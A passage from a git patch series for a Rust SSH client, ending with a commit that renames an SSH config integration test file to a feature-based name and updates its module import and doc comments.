assert_eq!(config.exit_on_forward_failure, None); + assert_eq!(config.permit_remote_open.len(), 0); + assert_eq!(config.hostbased_authentication, None); + assert_eq!(config.hostbased_accepted_algorithms.len(), 0); + } +} From 59764cac0839344a6d8fb87033461437b78097b3 Mon Sep 17 00:00:00 2001 From: Jeongkyu Shin Date: Thu, 23 Oct 2025 18:15:42 +0900 Subject: [PATCH 6/6] refactor: Rename phase2 test file to feature-based name MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Renamed phase2_integration_test.rs to certificate_forwarding_integration_test.rs for better clarity and long-term maintainability. Rationale: - "phase2" is a temporary development stage reference - New name clearly indicates what features are tested: * Certificate-based authentication (CertificateFile, CASignatureAlgorithms) * Host-based authentication (HostbasedAuthentication, HostbasedAcceptedAlgorithms) * Advanced port forwarding (GatewayPorts, ExitOnForwardFailure, PermitRemoteOpen) - Improves searchability and code navigation - Future-proof naming that won't become obsolete Changes: - Renamed: phase2_integration_test.rs → certificate_forwarding_integration_test.rs - Updated module import in mod.rs - Enhanced file documentation with feature descriptions All 265 tests still pass. --- ..._test.rs => certificate_forwarding_integration_test.rs} | 7 ++++++- src/ssh/ssh_config/integration_tests/mod.rs | 2 +- 2 files changed, 7 insertions(+), 2 deletions(-) rename src/ssh/ssh_config/integration_tests/{phase2_integration_test.rs => certificate_forwarding_integration_test.rs} (97%) diff --git a/src/ssh/ssh_config/integration_tests/phase2_integration_test.rs b/src/ssh/ssh_config/integration_tests/certificate_forwarding_integration_test.rs similarity index 97% rename from src/ssh/ssh_config/integration_tests/phase2_integration_test.rs rename to src/ssh/ssh_config/integration_tests/certificate_forwarding_integration_test.rs index 8e627074..682c22e9 100644 --- a/src/ssh/ssh_config/integration_tests/phase2_integration_test.rs +++ b/src/ssh/ssh_config/integration_tests/certificate_forwarding_integration_test.rs @@ -12,7 +12,12 @@ // See the License for the specific language governing permissions and // limitations under the License. -//! Integration tests for Phase 2 SSH config options (Include + Match + new options) +//! Integration tests for certificate authentication and advanced port forwarding options +//! +//! Tests the interaction of Include, Match, and Host directives with: +//! - Certificate-based authentication (CertificateFile, CASignatureAlgorithms) +//! - Host-based authentication (HostbasedAuthentication, HostbasedAcceptedAlgorithms) +//! - Advanced port forwarding (GatewayPorts, ExitOnForwardFailure, PermitRemoteOpen) #[cfg(test)] pub(crate) mod tests { diff --git a/src/ssh/ssh_config/integration_tests/mod.rs b/src/ssh/ssh_config/integration_tests/mod.rs index 3158684c..9a07fa90 100644 --- a/src/ssh/ssh_config/integration_tests/mod.rs +++ b/src/ssh/ssh_config/integration_tests/mod.rs @@ -3,5 +3,5 @@ //! This module contains integration tests and specialized test cases //! for SSH configuration functionality. +mod certificate_forwarding_integration_test; mod env_cache_integration_test; -mod phase2_integration_test;